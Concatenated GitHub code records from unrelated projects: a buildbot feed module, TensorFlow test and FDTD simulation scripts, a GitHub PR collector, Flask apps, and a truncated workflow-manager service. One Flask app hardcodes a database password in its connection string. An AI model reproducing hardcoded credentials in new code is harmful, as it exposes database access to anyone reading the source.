rfc822_time(finishedTime)\n bc['summary_link'] = ('%sbuilders/%s' %\n (self.link,\n build.getBuilder().getName())) \n bc['name'] = build.getBuilder().getName()\n bc['number'] = build.getNumber()\n bc['responsible_users'] = build.getResponsibleUsers()\n bc['failed_steps'] = failed_steps\n bc['pageTitle'] = pageTitle\n bc['link'] = link\n bc['log_lines'] = log_lines\n\n if finishedTime is not None:\n bc['rfc822_pubdate'] = rfc822_time(finishedTime)\n bc['rfc3339_pubdate'] = time.strftime(\"%Y-%m-%dT%H:%M:%SZ\",\n finishedTime)\n\n # Every RSS/Atom item must have a globally unique ID\n guid = ('tag:%s@%s,%s:%s' %\n (self.user, self.hostname,\n time.strftime(\"%Y-%m-%d\", finishedTime),\n time.strftime(\"%Y%m%d%H%M%S\", finishedTime)))\n bc['guid'] = guid\n\n build_cxts.append(bc)\n\n pageTitle = self.pageTitle\n if not pageTitle:\n pageTitle = 'Build status of %s' % self.pageTitle\n\n cxt = {}\n cxt['pageTitle'] = pageTitle\n cxt['title_url'] = self.link\n cxt['title'] = self.title\n cxt['language'] = self.language\n cxt['description'] = self.description\n if self.pubdate is not None:\n cxt['rfc822_pubdate'] = rfc822_time( self.pubdate)\n cxt['rfc3339_pubdate'] = time.strftime(\"%Y-%m-%dT%H:%M:%SZ\",\n self.pubdate)\n\n cxt['builds'] = build_cxts\n template = request.site.buildbot_service.templates.get_template(self.template_file)\n return template.render(**cxt).encode('utf-8').strip()\n\nclass Rss20StatusResource(FeedResource):\n # contentType = 'application/rss+xml' (browser dependent)\n template_file = 'feed_rss20.xml'\n\n def __init__(self, status, categories=None, pageTitle=None):\n FeedResource.__init__(self, status, categories, pageTitle)\n\nclass Atom10StatusResource(FeedResource):\n # contentType = 'application/atom+xml' (browser dependent)\n template_file = 'feed_atom10.xml'\n\n def __init__(self, status, categories=None, pageTitle=None):\n FeedResource.__init__(self, status, categories, pageTitle)\n","repo_name":"houseoflifeproperty/bitpop","sub_path":"build/third_party/buildbot_8_4p1/buildbot/status/web/feeds.py","file_name":"feeds.py","file_ext":"py","file_size_in_byte":9612,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"9260488221","text":"\nimport os\nimport sys\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom model.training_utils import load_raw_tracks, tracks_by_tag\nfrom test.test_utils import load_tracks\nfrom test.model_test import ModelTest\n\n\ndef main():\n os.environ['CUDA_VISIBLE_DEVICES'] = ''\n print(tf.__version__)\n argv = sys.argv\n data_directory = argv[1]\n tracks = load_raw_tracks(f'{data_directory}/test_infos.pk')\n weights_path = argv[2]\n tag_tracks = tracks_by_tag(tracks)\n test_tracks = []\n for tag in tag_tracks.keys():\n test_tracks = test_tracks + tag_tracks[tag]\n test_tracks = [t for t in test_tracks if t.track_key in argv[3:]]\n load_tracks(test_tracks, f'{data_directory}/test_frames.npy')\n print(f'loaded {len(test_tracks)} tracks with {np.sum([t.frame_count for t in test_tracks])} frames')\n tracks_test = ModelTest(test_tracks)\n tracks_test.test(weights_path)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n","repo_name":"dsosnoski/irvideo-classification","sub_path":"test/selected_test.py","file_name":"selected_test.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9487833663","text":"import logging\nimport json\n\nfrom datetime import datetime\nfrom progress1bar import ProgressBar\nfrom string import Template\n\nfrom .api import API\nfrom .base import Base\n\nlogger = logging.getLogger(__name__)\n\nQUERIES = {\n 'queryRepositories': \"\"\"\n {\n search(query: \"org:$org archived:false\", type: REPOSITORY, first: $page_size, after: \"$cursor\") {\n repositoryCount\n pageInfo {\n endCursor\n hasNextPage\n }\n edges {\n cursor\n node {\n ... on Repository {\n name\n }\n }\n }\n }\n }\n \"\"\",\n 'queryPullRequests': \"\"\"\n {\n search(query: \"is:pr is:merged $closed repo:$owner/$repo\", type: ISSUE, first: $page_size, after: \"$cursor\") {\n issueCount\n pageInfo {\n endCursor\n hasNextPage\n }\n edges {\n cursor\n node {\n ... on PullRequest {\n title\n number\n createdAt\n closedAt\n labels(first: 10) {\n nodes {\n name\n }\n }\n author {\n ... on User {\n login\n email\n name\n }\n }\n }\n }\n }\n }\n }\n \"\"\"\n}\n\nclass PullRequest(Base):\n def __init__(self, **entries):\n super(PullRequest, self).__init__(**entries)\n\n # time to close, datediff\n # might be useful in the future if we want to create\n # tiggers for #of days open\n self.ttc = self.closed_at - self.created_at\n\n @staticmethod\n def sanitize(query):\n \"\"\" sanitize query\n \"\"\"\n return query.replace(' ', '').replace('\\n', ' ')\n\n @staticmethod\n def get_query(name, **kwargs):\n \"\"\" return contributions query\n \"\"\"\n query = QUERIES[name]\n\n if not kwargs.get('cursor'):\n query = query.replace(', after: \"$cursor\"', '')\n if not kwargs.get('closed'):\n query = query.replace(' $closed', '')\n\n sanitized_query = PullRequest.sanitize(query) # maybe move this to api.py\n query_template = Template(sanitized_query)\n\n return query_template.substitute(**kwargs)\n\n @staticmethod\n def get_org_repos(client, org, global_exclude=None):\n \"\"\" get repositories\n \"\"\"\n kwargs = {\n 'org': org,\n 'page_size': 100,\n }\n\n cursor = ''\n print(f'Getting repositories for org \"{org}\"')\n\n repositories = []\n while True:\n kwargs['cursor'] = cursor\n query = PullRequest.get_query('queryRepositories', **kwargs)\n response = client.graphql(query)\n\n repos = response['data']['search']['edges']\n\n for repo in repos:\n repo_name = repo['node']['name']\n if global_exclude is None or not global_exclude.match(repo_name):\n repositories.append(repo_name)\n has_next_page = response['data']['search']['pageInfo']['hasNextPage']\n\n if not has_next_page:\n break\n\n cursor = response['data']['search']['pageInfo']['endCursor']\n\n return repositories\n\n @staticmethod\n def get_repo_prs(client, org, repo_name, target=None):\n \"\"\" process pull requests\n \"\"\"\n\n kwargs = {\n 'owner': org,\n 'repo': repo_name,\n 'page_size': 0,\n }\n\n if target:\n kwargs['closed'] = f'closed:>{target}'\n \n # query to get total\n query = PullRequest.get_query('queryPullRequests', **kwargs)\n total = client.graphql(query)['data']['search']['issueCount']\n\n if total == 0:\n print(f'No PRs for {repo_name}')\n return\n\n completed_message = f'Done processing {str(total).zfill(3)} PRs for'\n with ProgressBar(completed_message=completed_message) as progress_bar:\n progress_bar.alias = repo_name\n progress_bar.total = total\n\n kwargs['page_size'] = 100\n cursor = ''\n\n prs_by_author = {}\n while True:\n kwargs['cursor'] = cursor\n query = PullRequest.get_query('queryPullRequests', **kwargs)\n response = client.graphql(query)\n\n prs = PullRequest.process(response, repo_name, progress_bar)\n for pr in prs:\n if pr.author not in prs_by_author:\n prs_by_author[pr.author] = []\n prs_by_author[pr.author].append(pr)\n\n repo_has_next_page = response['data']['search']['pageInfo']['hasNextPage']\n if not repo_has_next_page:\n break\n cursor = response['data']['search']['pageInfo']['endCursor']\n\n return prs_by_author\n\n @staticmethod\n def process(response, repo_name, progress_bar = None):\n raw_prs = response['data']['search']['edges']\n\n prs = []\n for pr_data in raw_prs:\n raw_pr = pr_data['node']\n\n # only count PR's that have author data\n if 'author' in raw_pr:\n pr = PullRequest.from_response(raw_pr, repo_name)\n if pr: # could return None\n prs.append(pr)\n if progress_bar is not None:\n progress_bar.count += 1\n\n return prs\n\n @staticmethod\n def from_response(pr, repo_name):\n if pr['author'] and 'login' in pr['author']:\n author = pr['author']['login']\n\n if 'email' in pr['author']:\n author_email = pr['author']['email']\n else:\n author_email = None\n\n pr_title = pr['title']\n pr_number = pr['number']\n\n if author_email:\n if 'name' in pr['author']:\n author_name = pr['author']['name']\n else:\n author_name = author # if no name is provided, set name to github username\n\n pr_created = datetime.strptime(\n pr['createdAt'], '%Y-%m-%dT%H:%M:%SZ').date()\n pr_closed = datetime.strptime(\n pr['closedAt'], '%Y-%m-%dT%H:%M:%SZ').date()\n\n labels_raw = pr['labels']['nodes']\n if len(labels_raw) > 0:\n labels = [label['name'] for label in labels_raw]\n else:\n labels = []\n\n logger.debug(\n f\"We found a PR labeled {labels} #{pr_number} {pr_title}\")\n\n pr_data = dict(author=author, repo=repo_name, author_email=author_email, author_name=author_name, number=pr_number,\n title=pr_title, created_at=pr_created, closed_at=pr_closed, labels=labels)\n\n pr = PullRequest(**pr_data)\n\n return pr\n else:\n logger.debug(f\"We have an PR with no author email: [{author}] #{pr_number} {pr_title}\")\n else:\n logger.debug(f\"Skipping PR, no author probably dependabot: {pr['title']}\")\n\n return None\n\n\n @staticmethod\n def get_by_repo(org, lookback_days=None, global_exclude=None, offline=False):\n # this needs to be manually dumped with the graphql explorer\n # https://docs.github.com/en/graphql/overview/explorer\n prs_by_repo = {}\n # TODO: mock offline out in a test\n if offline:\n with open(\"pr_dump.json\", \"r\") as f:\n repositories = ['edgex-ui-go']\n response = json.load(f)\n for repo in repositories:\n prs_by_author = {}\n prs = PullRequest.process(response, repo)\n for pr in prs:\n if pr.author not in prs_by_author:\n prs_by_author[pr.author] = []\n prs_by_author[pr.author].append(pr)\n\n if len(prs_by_author) > 0:\n prs_by_repo[repo] = prs_by_author\n else:\n prs_by_repo[repo] = None\n else:\n client = API.get_client()\n repositories = PullRequest.get_org_repos(client, org, global_exclude)\n \n if lookback_days is not None:\n end_date = API.get_date(lookback_days)\n else:\n end_date = None\n\n logger.info(f\"Searching through [{len(repositories)}] repos...\")\n \n for repo in repositories:\n if end_date is not None:\n logger.info(f\"[{repo}] Querying GitHub API to find PR's before: [{end_date}], [{lookback_days}] day(s) ago\")\n else:\n logger.info(f\"[{repo}] Querying GitHub API to find ALL eligable PR's\")\n\n prs_by_author = PullRequest.get_repo_prs(client, org, repo, end_date)\n \n if prs_by_author and len(prs_by_author) > 0:\n prs_by_repo[repo] = prs_by_author\n else:\n prs_by_repo[repo] = None\n\n return prs_by_repo\n","repo_name":"edgexfoundry/edgex-dev-badge","sub_path":"src/main/python/badger/models/pull_request.py","file_name":"pull_request.py","file_ext":"py","file_size_in_byte":9429,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"72498578153","text":"from monitorcontrol import get_monitors\nimport time\n\n# from 0 and up\nprimaryMonitor = get_monitors()[0]\nsecondaryMonitor = get_monitors()[1]\n\n# percentage\nmaxbright = 60\nbright = 50\ndim = 25\n\n\ndef SetBrightness(monitor):\n # get time\n timestamp = int(time.strftime(\"%H\"))\n\n if timestamp <= 7 or timestamp == 23:\n with monitor:\n monitor.set_luminance(dim)\n print(\"\\nTime: \" + str(timestamp) + \"\\nMonitor was dimmed\")\n\n elif timestamp == 22:\n with monitor:\n monitor.set_luminance(bright)\n print(\"\\nTime: \" + str(timestamp) + \"\\nMonitor was brightened\")\n\n elif timestamp >= 8 and timestamp <= 21:\n with monitor:\n monitor.set_luminance(maxbright)\n print(\"\\nTime: \" + str(timestamp) + \"\\nMonitor was brightened\")\n\n\nSetBrightness(secondaryMonitor)","repo_name":"ashtavinayaksh/automatic-screen-brightness","sub_path":"SetupAdjust.py","file_name":"SetupAdjust.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15213485297","text":"''' Controller para fornecer dados da CEE '''\nfrom flask import request\nfrom flask_restful_swagger_2 import swagger\nfrom resources.base import BaseResource\n\nclass CardTemplateResource(BaseResource):\n ''' Classe que obtém a estrutura de dados de um modelo de card. '''\n @swagger.doc({\n 'tags':['card_template'],\n 'description':'Obtém um a estrutura de dados de um modelo de card',\n 'parameters':[\n {\n \"name\": \"cd_template\",\n \"description\": \"Código do template\",\n \"required\": True,\n \"type\": 'string',\n \"in\": \"path\"\n },\n {\n \"name\": \"datasource\",\n \"description\": \"Identificação da fonte de dados\",\n \"required\": True,\n \"type\": 'string',\n \"in\": \"query\"\n },\n {\n \"name\": \"cd_indicador\",\n \"description\": \"Código do indicador\",\n \"required\": True,\n \"type\": 'string',\n \"in\": \"query\"\n },\n {\n \"name\": \"cd_analysis_unit\",\n \"description\": \"Id da unidade de análise\",\n \"required\": True,\n \"type\": 'string',\n \"in\": \"query\"\n }\n ],\n 'responses': {\n '200': {\n 'description': 'Card'\n }\n }\n })\n def get(self, cd_template):\n ''' Obtém um a estrutura de dados de um modelo de card '''\n if 'datasource' in request.args:\n options = request.args.copy()\n options['theme'] = request.args.get('datasource')\n return self.get_domain().get_template(cd_template, options)\n raise ValueError('Datasource inválido ou sem templates')\n","repo_name":"smartlab-br/datahub-api","sub_path":"app/resources/v1/card_template.py","file_name":"card_template.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"31397391292","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\nimport torch\nimport math\nfrom mpl_toolkits.mplot3d import axes3d\nimport matplotlib.animation as animation\nfrom matplotlib.animation import FuncAnimation\nfrom IPython import display\n\n\n# Grid parameters.\nk1, k2 = 3., 3.\nnx = 40 # number of points in the x direction\nxmin, xmax = 0.0, 1.0 # limits in the x direction\nny = nx # number of points in the y direction\nymin, ymax = 0.0, 1.0\n# dt=0.0002\nT = 1\ntime_steps = 80\ndt = T / time_steps\ntime_steps_2 = time_steps*3 # limits in the y direction\nlx = xmax - xmin # domain length in the x direction\nly = ymax - ymin # domain length in the y direction\ndx = lx / (nx - 1) # grid spacing in the x direction\ndy = ly / (ny - 1) # grid spacing in the y direction\n\nc = math.pi * (np.sqrt(k1 ** 2 + k2 ** 2))\nP = math.pi\nx = np.linspace(0., xmax, nx)\nX, Y = np.meshgrid(x, x, indexing='ij')\nE_a = []\nHx_a = []\nHy_a = []\nfor n in range(time_steps_2 + 1):\n E_a.append((c * np.cos(c * n * dt) * (np.sin(P * k1 * X) * np.sin(P * k2 * Y) + np.sin(P * k2 * X) * np.sin(\n P * k1 * Y))))\n Hx_a.append(np.sin(c * (dt / 2) * (2 * n + 1)) * (\n -P * k2 * np.sin(P * k1 * X) * np.cos(P * k2 * (Y + dy / 2)) - P * k1 * np.sin(\n P * k2 * X) * np.cos(P * k1 * (Y + dy / 2))))\n Hy_a.append(np.sin(c * (dt / 2) * (2 * n + 1)) * (\n P * k1 * np.cos(P * k1 * (X + dx / 2)) * np.sin(P * k2 * Y) + P * k2 * np.cos(\n P * k2 * (X + dx / 2)) * np.sin(P * k1 * Y)))\n\n\n\nE = E_a[0].copy()\nHx = Hx_a[0].copy()\nHy = Hy_a[0].copy()\nZ = 1\nLoss_H = []\nLoss_E = []\ntot_E=[]\n\nfor n in range(time_steps_2):\n loss_H = 0\n loss_E = 0\n tot_E.append(E.copy())\n En = E.copy()\n Hnx = Hx.copy()\n Hny = Hy.copy()\n\n # print(\"{:.6f}\".format((np.square(En[1:nx-1,1:ny-1]-E_a[1:nx-1,1:ny-1])).mean(axis=None)))\n\n # print(\"{:.6f}\".format((np.square(Hnx[1:nx-1,0:ny-1]-Hx_a[1:nx-1,0:ny-1])).mean()))\n # print(\"{:.6f}\".format((np.square(Hny[0:nx-1,1:ny-1]-Hy_a[0:nx-1,1:ny-1])).mean(axis=None)))\n # print(\"{:.6f}\".format(abs(En-E_a).max()))\n\n E[1:nx - 1, 1:ny - 1] = En[1:nx - 1, 1:ny - 1] + (Z * dt / dx) * (\n Hny[1:nx - 1, 1:ny - 1] - Hny[0:nx - 2, 1:ny - 1]) - (Z * dt / dy) * (\n Hnx[1:nx - 1, 1:ny - 1] - Hnx[1:nx - 1, 0:ny - 2])\n\n Em = E.copy()\n Hx[1:nx - 1, 0:ny - 1] = Hnx[1:nx - 1, 0:ny - 1] - (dt / (Z * dy)) * (Em[1:nx - 1, 1:ny] - Em[1:nx - 1, 0:ny - 1])\n Hy[0:nx - 1, 1:ny - 1] = Hny[0:nx - 1, 1:ny - 1] + (dt / (Z * dx)) * (Em[1:nx, 1:ny - 1] - Em[0:nx - 1, 1:ny - 1])\n # q=(np.square(((((Hx[1:nx,0:ny-1]-Hx[0:nx-1,0:ny-1])+(Hy[0:nx-1,1:ny]-Hy[0:nx-1,0:ny-1]))/(dx)).max()))).mean()\n # print(\"{:.6f}\".format(q) )\n\n # print(np.square(Em))\n loss_E += np.sqrt((np.square(E - E_a[n + 1])).mean(axis=None))\n loss_H += np.sqrt((np.square(Hx[1:nx - 1, 0:ny - 1] - Hx_a[n + 1][1:nx - 1, 0:ny - 1])).mean(axis=None))\n loss_H += np.sqrt((np.square(Hy[0:nx - 1, 1:ny - 1] - Hy_a[n + 1][0:nx - 1, 1:ny - 1])).mean(axis=None))\n Loss_E.append(loss_E)\n Loss_H.append(loss_H)\n\nfig=plt.figure(1)\nlines1=plt.plot([])\nline1=lines1[0]\nline2=lines1[0]\n\nplt.xlim(0.,1.)\nplt.ylim(-1.,1.)\ndef animate(frame):\n line1.set_data((x,tot_E[frame][:,20]))\n\n\n\n\nanim=FuncAnimation(fig,animate,frames=time_steps_2,interval=100)\nvideo=anim.to_html5_video()\nhtml=display.HTML(video)\ndisplay.display(html)\nplt.close()\nwith open(\"data.html\", \"w\") as file:\n file.write(video)\n#\n# # print('E_error='+\"{:.6f}\".format(np.sqrt((np.square(E-E_a[n+1])).mean(axis=None))))\n# # print('Hx_error='+\"{:.6f}\".format(np.sqrt((np.square(Hx[1:nx-1,0:ny-1]-Hx_a[n+1][1:nx-1,0:ny-1])).mean(axis=None))))\n# # print('Hy_error='+\"{:.6f}\".format(np.sqrt((np.square(Hy[0:nx-1,1:ny-1]-Hy_a[n+1][0:nx-1,1:ny-1])).mean(axis=None))))\n# plt.figure()\n# plt.plot(np.arange(time_steps_2) * dt, Loss_E, color='red', label='Error for E')\n# plt.plot(np.arange(time_steps_2) * dt, Loss_H, color='black', label='Error for H')\n# plt.xlabel('time')\n# plt.ylabel('error')\n# plt.legend()\n# plt.figure()\n# # plt.plot(Hx_a[n+1][:,10],color='red')\n# # plt.plot(E_a[0][:,20],color='red')\n# # print(E_a[0][10,10])\n#\n#\n# fig = plt.figure()\n# ax = axes3d.Axes3D(fig)\n#\n# # Initialize Bz when time = - dt / 2\n# wframe = ax.plot_wireframe(X, Y, Hx, rstride=2, cstride=2)\n#\n# ax.plot_wireframe(X, Y, Hx_a[n + 1], rstride=2, cstride=2, color='red', linestyle='dashed')\n# plt.show()\n# print(c)\n#\n#\n#\n","repo_name":"idanv87/DRP","sub_path":"Yee_scheme.py","file_name":"Yee_scheme.py","file_ext":"py","file_size_in_byte":4524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6475897056","text":"import os\nimport csv\nfrom flask import Flask, render_template, request, flash, redirect, url_for, jsonify\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import scoped_session, sessionmaker\nfrom werkzeug.utils import secure_filename\nimport create\nfrom models_examples import *\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\n\ndba = SQLAlchemy()\nengine = create_engine('postgresql://postgres:34373437@localhost/postgres')\ndb = scoped_session(sessionmaker(bind=engine))\nUPLOAD_FOLDER = '/root/N3Home/GIT/lecture0/app-dash/static/uploads/'\nALLOWED_EXTENSIONS = set(['txt', 'pdf', 'csv'])\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = 'postgresql://postgres:34373437@localhost/postgres'\ndba.init_app(app)\n# if __name__ == \"__main__\":\n\n# NOTE: Temporary adjusted to return true for testing:\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n@app.route(\"/\")\ndef index():\n users = db.execute(\"SELECT name, team, status FROM status JOIN team ON status.team_n = team.id\").fetchall()\n return render_template(\"index.html\", user=users)\n\n@app.route(\"/upload\", methods=['GET','POST'])\ndef upload_file():\n if request.method =='POST':\n # check if the post request has file part\n if 'file' not in request.files:\n flash('No file part')\n return redirect(request.url)\n file = request.files['file']\n # if user does not select file, browser also submit an empty part without filename\n if file.filename == '':\n flash('No selected file')\n return redirect(request.url)\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n create.main(filename)\n print(\"it should have worked\")\n return redirect('/')\n\n@app.route(\"/api/\")\ndef db_api(user_id):\n user = Users.query.get(user_id)\n if user is None:\n return jsonify({\"error\": \"Invalid user_id\"}), 400\n return jsonify({\n \"name\": user.name,\n \"team_n\": user.team_n,\n \"status\": user.status\n })\n","repo_name":"zen1337/Dashboard","sub_path":"app-dash/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20998540118","text":"import redis\nfrom .config import app_config\n\n\ndef getRedis():\n pool = redis.ConnectionPool(host=app_config.REDIS_HOST, port=app_config.REDIS_PORT)\n conn = redis.Redis(connection_pool=pool)\n\n conn.set('key', 'value')\n token = conn.get('key')\n return token\n","repo_name":"zhc970827/TSIT_Iot_Board","sub_path":"common/Redis.py","file_name":"Redis.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30566700556","text":"import logging\nimport os\nimport time\n\nfrom utilities.wfmutils import WFMUtils\nfrom kafkawrapper.wfmproducer import Producer\nfrom repository.wfmrepository import WFMRepository\nfrom validator.wfmvalidator import WFMValidator\nfrom configs.wfmconfig import anu_etl_wfm_core_topic, log_msg_start, log_msg_end, module_wfm_name, page_default_limit, \\\n anu_etl_notifier_input_topic, total_no_of_partitions\nfrom anuvaad_auditor.errorhandler import post_error_wf, post_error, log_exception\nfrom anuvaad_auditor.loghandler import log_info, log_error\n\nlog = logging.getLogger('file')\nproducer = Producer()\nwfmrepo = WFMRepository()\nwfmutils = WFMUtils()\nvalidator = WFMValidator()\n\n\nclass WFMService:\n def __init__(self):\n pass\n\n # Method to register the SYNC job.\n # Generates job ID, creates entry to the DB, passes the request to further processing\n # Returns client-readable job status.\n def register_sync_job(self, wf_sync_input):\n wf_sync_input[\"jobID\"] = wfmutils.generate_job_id(wf_sync_input[\"workflowCode\"])\n log_info(\"Initiating SYNC job..\", wf_sync_input)\n client_output = self.get_wf_details_sync(wf_sync_input, None, False, None)\n self.update_job_details(client_output, True)\n return self.process_sync(client_output)\n\n # Method to register the ASYNC job.\n # Generates job ID, creates entry to the DB, passes the request to further processing\n # Returns client-readable job status.\n def register_async_job(self, wf_async_input):\n wf_async_input[\"jobID\"] = wfmutils.generate_job_id(wf_async_input[\"workflowCode\"])\n log_info(\"Initiating ASYNC job..\", wf_async_input)\n client_output = self.get_wf_details_async(wf_async_input, None, False, None)\n self.update_job_details(client_output, True)\n prod_res = producer.push_to_queue(client_output, anu_etl_wfm_core_topic, total_no_of_partitions)\n if prod_res:\n client_output = self.get_wf_details_async(wf_async_input, None, False, prod_res)\n self.update_job_details(client_output, False)\n return client_output\n\n # Method to interrupt the job\n def interrupt_job(self, interrupt_in):\n response = []\n if 'jobIDs' in interrupt_in.keys():\n if interrupt_in[\"jobIDs\"]:\n for job_id in interrupt_in[\"jobIDs\"]:\n job_details = wfmutils.get_job_details(job_id)\n if not job_details:\n response.append({\"jobID\": job_id, \"message\": \"There is no job with this id, cant be interrupted.\"})\n continue\n job_details = job_details[0]\n if job_details[\"status\"] == \"FAILED\" or job_details[\"status\"] == \"COMPLETED\" or job_details[\"status\"] == \"INTERRUPTED\":\n response.append({\"jobID\": job_id, \"message\": \"The job is either completed/failed/interrupted, cant be interrupted.\"})\n else:\n job_details[\"status\"] = \"INTERRUPTED\"\n job_details[\"endTime\"] = eval(str(time.time()).replace('.', ''))\n self.update_job_details(job_details, False)\n log_info(\"Job INTERRUPTED: \" + str(job_id), {\"jobID\": job_id})\n response.append({\"jobID\": job_id, \"message\": \"Interrupted successfully.\"})\n return response\n\n # Method to mark the jobs as inactive\n def mark_inactive(self, req_criteria):\n succeeded, failed, job_ids, message = [], [], [], None\n if 'jobIDs' in req_criteria:\n job_ids = req_criteria[\"jobIDs\"]\n else:\n return {\"status\": \"FAILED\", \"message\": \"No job ids found\", \"succeeded\": [], \"failed\": []}\n if job_ids:\n try:\n log_info(\"Marking jobs inactive......\", None)\n job_details = self.get_job_details_bulk(req_criteria, True)\n if job_details:\n if len(job_details) < len(job_ids):\n failed = job_ids\n message = \"This user doesn't have access to either all or few of these jobs\"\n else:\n for job in job_details:\n job[\"active\"] = False\n self.update_job_details(job, False)\n succeeded.append(str(job[\"jobID\"]))\n log_info(\"Job marked as inactive by the user\", job)\n else:\n failed = job_ids\n message = \"No jobs were found for these jobIDs\"\n if failed:\n return {\"status\": \"FAILED\", \"message\": message, \"succeeded\": succeeded, \"failed\": failed}\n if len(succeeded) == len(job_ids):\n message = \"All jobs have been successfully marked inactive.\"\n return {\"status\": \"SUCCESS\", \"message\": message, \"succeeded\": succeeded, \"failed\": failed}\n except Exception as e:\n log_exception(\"Exception while marking jobs as inactive: \" + str(e), None, None)\n return {\"status\": \"FAILED\", \"message\": \"Exception while marking inactive\", \"succeeded\": [], \"failed\": job_ids}\n else:\n return {\"status\": \"FAILED\", \"message\": \"Empty job IDs List\", \"succeeded\": [], \"failed\": []}\n\n # Method to initiate and process the SYNC workflow.\n def process_sync(self, wf_input):\n try:\n ctx = wf_input\n order_of_execution = wfmutils.get_order_of_exc(wf_input[\"workflowCode\"])\n tool_output = None\n previous_tool = None\n for tool_order in order_of_execution.keys():\n step_details = order_of_execution[tool_order]\n tool_details = step_details[\"tool\"][0]\n log_info(tool_details[\"name\"] + log_msg_start + \" jobID: \" + ctx[\"jobID\"], ctx)\n if not tool_output:\n tool_input = wfmutils.get_tool_input_sync(tool_details[\"name\"], None, None, wf_input)\n else:\n tool_input = wfmutils.get_tool_input_sync(tool_details[\"name\"], previous_tool, tool_output, None)\n response = wfmutils.call_api(tool_details[\"api-details\"][0][\"uri\"], tool_input, wf_input[\"metadata\"][\"userID\"])\n error = self.validate_tool_response(response, tool_details, wf_input)\n if error:\n return error\n tool_output = response\n previous_tool = tool_details[\"name\"]\n ctx[\"metadata\"][\"module\"] = module_wfm_name\n tool_output[\"metadata\"] = ctx[\"metadata\"]\n log_info(tool_details[\"name\"] + log_msg_end + \" jobID: \" + ctx[\"jobID\"], ctx)\n client_output = self.get_wf_details_sync(None, tool_output, True, None)\n self.update_job_details(client_output, False)\n log_info(\"Job COMPLETED, jobID: \" + str(wf_input[\"jobID\"]), ctx)\n client_output.pop(\"input\")\n client_output.pop(\"metadata\")\n return client_output\n except Exception as e:\n log_exception(\"Exception while processing SYNC workflow: \" + str(e), wf_input, e)\n error = post_error(\"SYNC_WFLOW_ERROR\", \"Exception while processing the sync workflow: \" + str(e), e)\n client_output = self.get_wf_details_sync(wf_input, None, True, error)\n self.update_job_details(client_output, False)\n log_info(\"Job FAILED, jobID: \" + str(wf_input[\"jobID\"]), wf_input)\n return client_output\n\n # Validates errors and returns failure object\n def validate_tool_response(self, tool_response, tool_details, wf_input):\n if not tool_response:\n log_error(\"Error from the tool: \" + str(tool_details[\"name\"]), wf_input, None)\n error = post_error(\"ERROR_FROM_TOOL\", \"Error from the tool: \" + str(tool_details[\"name\"]), None)\n error[\"jobID\"] = wf_input[\"jobID\"]\n client_output = self.get_wf_details_sync(wf_input, None, True, error)\n self.update_job_details(client_output, False)\n log_info(\"Job FAILED, jobID: \" + str(wf_input[\"jobID\"]), wf_input)\n return client_output\n else:\n fail_msg = None\n if 'error' in tool_response.keys():\n if tool_response[\"error\"]:\n fail_msg = \"Error from the tool: \" + str(tool_details[\"name\"]) + \" | Cause: \" + str(\n tool_response[\"error\"][\"message\"])\n elif 'http' in tool_response.keys():\n if 'status' in tool_response[\"http\"]:\n if tool_response[\"http\"][\"status\"] != 200:\n fail_msg = \"Error from the tool: \" + str(tool_details[\"name\"]) + \" | Cause: \" + str(\n tool_response[\"why\"])\n if fail_msg:\n log_error(fail_msg, wf_input, None)\n error = post_error(\"ERROR_FROM_TOOL\", fail_msg, tool_response[\"error\"])\n error[\"jobID\"] = wf_input[\"jobID\"]\n client_output = self.get_wf_details_sync(wf_input, None, True, error)\n self.update_job_details(client_output, False)\n log_info(\"Job FAILED, jobID: {}\".format(wf_input[\"jobID\"]), wf_input)\n return client_output\n\n # Method fetch wf details in a certain format using wf_input or task_output\n # This is the format in which the job details are stored in the db and also returned to user for SYNC flow.\n def get_wf_details_sync(self, wf_input, task_output, isfinal, error):\n if wf_input is not None:\n wf_details = wfmutils.get_job_details(wf_input[\"jobID\"])\n else:\n wf_details = wfmutils.get_job_details(task_output[\"jobID\"])\n if wf_details is None or len(wf_details) == 0:\n config = wfmutils.get_configs()[wf_input[\"workflowCode\"]]\n client_output = {\"input\": wf_input, \"jobID\": wf_input[\"jobID\"], \"translation\": config[\"translation\"],\n \"workflowCode\": wf_input[\"workflowCode\"], \"active\": True,\n \"status\": \"STARTED\", \"state\": \"INITIATED\", \"metadata\": wf_input[\"metadata\"],\n \"startTime\": eval(str(time.time()).replace('.', '')[0:13]), \"taskDetails\": []}\n else:\n wf_details = wf_details[0]\n if task_output is not None:\n wf_details[\"output\"] = task_output[\"output\"]\n wf_details[\"state\"] = task_output[\"state\"]\n client_output = wf_details\n if isfinal:\n client_output[\"status\"] = \"COMPLETED\"\n client_output[\"endTime\"] = eval(str(time.time()).replace('.', '')[0:13])\n else:\n client_output[\"status\"] = \"INPROGRESS\"\n if error is not None:\n client_output[\"status\"] = \"FAILED\"\n client_output[\"endTime\"] = 